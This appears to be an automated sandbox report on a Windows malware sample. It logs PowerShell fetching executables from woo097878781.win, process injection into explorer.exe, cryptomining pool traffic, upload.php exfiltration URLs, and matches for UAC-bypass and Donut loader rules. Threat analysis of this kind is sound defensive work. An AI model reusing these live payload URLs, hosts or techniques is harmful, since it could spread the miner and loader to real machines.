Source: global traffic	HTTP traffic detected: GET /WindosCPUsystem.exe HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: woo097878781.win
Source: global traffic	HTTP traffic detected: GET /64.EXE HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0Host: woo097878781.win

Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 185.157.162.216

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Code function: 13_2_00321580 WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,setsockopt,setsockopt,WSACreateEvent,WSAEventSelect,CloseHandle,shutdown,closesocket,WaitForMultipleObjects,WaitForSingleObject,WaitForSingleObject,WSAEnumNetworkEvents,shutdown,closesocket,CloseHandle,recv,CloseHandle,shutdown,closesocket,CloseHandle,shutdown,closesocket,CloseHandle,shutdown,closesocket,CloseHandle,WaitForSingleObject,shutdown,closesocket,CloseHandle,shutdown,closesocket,shutdown,closesocket,CloseHandle,shutdown,closesocket,LocalFree,

13_2_00321580

Source: global traffic	HTTP traffic detected: GET /downloaded_file.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: woo097878781.winConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /WindosCPUsystem.exe HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: woo097878781.win
Source: global traffic	HTTP traffic detected: GET /64.EXE HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0Host: woo097878781.win

Source: global traffic	DNS traffic detected: DNS query: woo097878781.win
Source: global traffic	DNS traffic detected: DNS query: pool.hashvault.pro

Source: WindosCPUsystem.exe, 00000013.00000003.2043817776.0000016DE6150000.00000004.00000001.00020000.00000000.sdmp, WindosCPUsystem.exe, 0000001F.00000003.2062364463.000001677A4C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: WindosCPUsystem.exe, 00000013.00000003.2043817776.0000016DE6150000.00000004.00000001.00020000.00000000.sdmp, WindosCPUsystem.exe, 0000001F.00000003.2062364463.000001677A4C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: WindosCPUsystem.exe, 00000013.00000003.2043817776.0000016DE6150000.00000004.00000001.00020000.00000000.sdmp, WindosCPUsystem.exe, 0000001F.00000003.2062364463.000001677A4C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: WindosCPUsystem.exe, 00000013.00000003.2043817776.0000016DE6150000.00000004.00000001.00020000.00000000.sdmp, WindosCPUsystem.exe, 0000001F.00000003.2062364463.000001677A4C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: powershell.exe, 00000007.00000002.1807555858.00000238530B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000007.00000002.1823090000.0000023864C62000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1823090000.0000023864DA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1807712895.0000023856574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.1807712895.00000238564EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: explorer.exe, 00000012.00000003.2618390437.0000000002841000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618077052.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2643180030.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618256867.0000000002840000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.i.lencr.org/0
Source: explorer.exe, 00000012.00000003.2618390437.0000000002841000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618077052.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2643180030.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618256867.0000000002840000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.o.lencr.org0#
Source: powershell.exe, 00000007.00000002.1807712895.0000023854BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1932629434.0000029E65E06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.1807712895.0000023856262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://woo097878781.win
Source: powershell.exe, 00000007.00000002.1807712895.0000023856378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000007.00000002.1807712895.00000238564EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: explorer.exe, 00000012.00000003.2618390437.0000000002841000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618077052.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2643180030.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618256867.0000000002840000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: explorer.exe, 00000012.00000003.2618390437.0000000002841000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618077052.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2643180030.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618256867.0000000002840000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: powershell.exe, 0000000C.00000002.1932629434.0000029E65DB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000007.00000002.1807712895.0000023854BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1932629434.0000029E65DDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000007.00000002.1807712895.0000023856574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.1807712895.0000023856574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.1807712895.0000023856574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.1807712895.00000238564EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000007.00000002.1807712895.0000023855822000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000007.00000002.1823090000.0000023864C62000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1823090000.0000023864DA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1807712895.0000023856574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000007.00000002.1807712895.0000023856378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000007.00000002.1807712895.0000023856378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: explorer.exe, 0000001C.00000003.2059032550.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win
Source: explorer.exe, 00000010.00000003.2038309089.0000000000D61000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618077052.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2643180030.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/
Source: downloaded_file.exe	String found in binary or memory: https://woo097878781.win/32.EXE
Source: powershell.exe, 0000000C.00000002.1939596081.0000029E75EE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1939596081.0000029E75F5E000.00000004.00000800.00020000.00000000.sdmp, downloaded_file.exe, 0000000D.00000000.1946157857.0000000000376000.00000008.00000001.01000000.00000007.sdmp, downloaded_file.exe, 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmp, explorer.exe, 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/32.EXEhttps://woo097878781.win/64.EXEhttps://woo097878781.win/upload.php66M
Source: explorer.exe, explorer.exe, 00000010.00000003.2038161328.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2015592624.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/64.EXE
Source: downloaded_file.exe, 0000000D.00000003.1947121395.0000000001063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/64.EXEhttps://woo097878781.win/upload.php66Mozilla/5.0
Source: explorer.exe, 0000001C.00000002.2933340637.00000000013C6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2504693994.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/66/api/endpoint.php
Source: explorer.exe, 0000001C.00000002.2933340637.00000000013C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/66/api/endpoint.php--cinit-version=3.4.1--nicehash--tls--cinit-idle-wait=5-
Source: explorer.exe, 0000001C.00000002.2933340637.0000000001389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/66/api/endpoint.php6
Source: explorer.exe, 0000001C.00000003.2059032550.0000000001430000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2061842707.000000000143A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/66/api/endpoint.phpJWO
Source: explorer.exe, 0000001C.00000002.2933340637.0000000001389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/66/api/endpoint.phpProvider
Source: explorer.exe, 0000001C.00000003.2046419071.00000000013E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/66/api/endpoint.phpyeerysyjbfoqmofc
Source: explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/8p
Source: explorer.exe, 00000010.00000003.2038309089.0000000000D61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/C
Source: downloaded_file.exe, 0000000D.00000003.1947121395.000000000105E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934426792.0000000002E06000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/WindosCPUsystem.exe
Source: explorer.exe, 00000010.00000002.2934582465.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/WindosCPUsystem.exeWindowsSystem1
Source: powershell.exe, 0000000C.00000002.1939596081.0000029E75EDB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1939596081.0000029E75F59000.00000004.00000800.00020000.00000000.sdmp, downloaded_file.exe, 0000000D.00000000.1946157857.0000000000371000.00000008.00000001.01000000.00000007.sdmp, downloaded_file.exe, 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmp, explorer.exe, 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2642019432.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934582465.00000000030E3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934582465.00000000030E1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934582465.00000000030DD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934582465.00000000030DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/WindosCPUsystem.exeWindowsSystem1WindosCPUsystem.exe
Source: powershell.exe, 00000007.00000002.1807712895.0000023856222000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1807712895.0000023854E22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/downloaded_file.bin
Source: explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/r
Source: explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/rdpi2
Source: explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/upload.php
Source: explorer.exe, 00000012.00000003.2618390437.00000000028D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2689278327.00000000028D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618618812.00000000028D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win:443/upload.php
Source: explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win:443/upload.phpZ

Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 154.216.20.243:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 154.216.20.243:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 154.216.20.243:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 154.216.20.243:443 -> 192.168.2.4:49764 version: TLS 1.2

Source: C:\Windows\explorer.exe

Code function: 16_2_00E12310 WaitForSingleObject,RtlExitUserThread,GetAsyncKeyState,Sleep,OpenEventW,SetEvent,CloseHandle,RtlExitUserThread,

16_2_00E12310

Source: explorer.exe, 00000010.00000002.2934846757.0000000003930000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ENCMARK RegisterRawInputDevices

memstr_009c8cf7-4

System Summary

Malicious sample detected (through community Yara rule)

Source: 13.2.downloaded_file.exe.300000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.powershell.exe.29e75ee9280.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 13.2.downloaded_file.exe.fedfd8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 16.2.explorer.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.powershell.exe.29e75e6b438.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.powershell.exe.29e75e6b438.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 18.2.explorer.exe.22c0000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 13.0.downloaded_file.exe.300000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.powershell.exe.29e75ee9280.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 13.2.downloaded_file.exe.fedfd8.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000013.00000002.2047760821.0000016DE66D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000001F.00000002.2065498416.000001677AB40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000013.00000002.2048053802.0000016DE6950000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000001F.00000002.2064926837.000001677A63A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000013.00000002.2047498175.0000016DE6452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000001F.00000002.2065257681.000001677A8C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7216, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7644, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe, type: DROPPED	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Jump to dropped file

Uses powercfg.exe to modify the power settings

Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_003138D0 GetCurrentProcess,Wow64DisableWow64FsRedirection,_memset,lstrcpyW,_memset,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,_memmove,_memmove,_memmove,lstrcpyW,lstrcpyW,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,_memmove,CreateEventW,GetModuleHandle64,GetProcAddress64,X64Call,WaitForSingleObject,ResetEvent,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,Wow64DisableWow64FsRedirection,ResetEvent,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,Wow64DisableWow64FsRedirection,	13_2_003138D0
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0030A1B0 GetCurrentProcess,_memset,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,_memmove,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,_memmove,NtMapViewOfSection,_memset,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,	13_2_0030A1B0
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_003144B0 CreateProcessW,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,_memmove,LoadLibraryW,GetProcAddress,GetProcAddress,lstrcpyW,lstrcpyW,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,_memmove,CreateEventW,RtlCreateUserThread,WaitForSingleObject,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	13_2_003144B0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E10740 CreateProcessW,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,LoadLibraryW,GetProcAddress,GetProcAddress,lstrcpyW,lstrcpyW,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,CreateEventW,RtlCreateUserThread,WaitForSingleObject,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	16_2_00E10740
Source: C:\Windows\explorer.exe	Code function: 16_2_00E111A4 CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	16_2_00E111A4
